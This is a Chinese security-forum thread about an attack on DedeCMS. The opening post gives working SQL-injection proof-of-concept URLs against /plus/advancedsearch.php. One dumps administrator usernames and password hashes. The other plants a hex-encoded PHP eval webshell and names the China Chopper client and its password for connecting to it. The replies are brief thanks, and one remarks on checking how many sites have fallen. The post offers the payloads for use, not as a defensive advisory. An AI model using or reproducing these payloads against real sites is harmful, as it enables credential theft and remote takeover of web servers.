请选择 进入手机版 | 继续访问电脑版
查看: 2273|回复: 6

dedecms最新注入和getshell漏洞利用

[复制链接]
  • TA的每日心情
    擦汗
    2019-7-11 14:43
  • 签到天数: 241 天

    [LV.8]以坛为家I

    发表于 2016-9-8 22:29:41 | 显示全部楼层 |阅读模式
    条件利用:

    1.漏洞代码在/plus/advancedsearch.php 文件中
    2.php.ini要开启session.auto_start = 1
    3.必须知道一个存在的mid,需要后台有添加自定义搜索模型

    爆账号密码poc:

    http://localhost/dedecms/plus/advancedsearch.php?mid=1&_SESSION[123]=select concat(0x7c,userid,0x7c,pwd,0x7c) as aid from `%23@__admin` aaa &sqlhash=123

    getshell poc:

    http://localhost/dedecms/plus/advancedsearch.php?mid=6&_SESSION[123]=update `%23@__mytag` set normbody=0x3C3F706870206576616C28245F504F53545B635D293B3F3E where aid=1 limit 1&sqlhash=123

    然后菜刀链接http://localhost/dedecms/plus/mytag_js.php?aid=1 密码:c
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-10-1 09:06
  • 签到天数: 380 天

    [LV.9]以坛为家II

    发表于 2016-9-8 23:50:08 | 显示全部楼层
    沙发。又是一波干货。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2020-8-25 09:43
  • 签到天数: 419 天

    [LV.9]以坛为家II

    发表于 2016-9-9 00:01:24 | 显示全部楼层
    我是不是你最疼爱的人,你为什么不说话。     我害怕好好看看这个漏洞吧
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-10-1 06:59
  • 签到天数: 308 天

    [LV.8]以坛为家I

    发表于 2016-9-9 17:45:19 | 显示全部楼层
    敢不敢晚点时间再爆料。。。。生活都没有意义了。。。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-8-30 10:44
  • 签到天数: 85 天

    [LV.6]常住居民II

    发表于 2016-9-9 18:27:57 | 显示全部楼层
    这个好,我先知道多少沦陷了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-3-24 23:02
  • 签到天数: 36 天

    [LV.5]常住居民I

    发表于 2016-9-10 08:59:06 | 显示全部楼层
    这个可以,收下了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-9-1 13:44
  • 签到天数: 68 天

    [LV.6]常住居民II

    发表于 2016-11-1 15:58:37 | 显示全部楼层
    感谢分享,学习学习
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表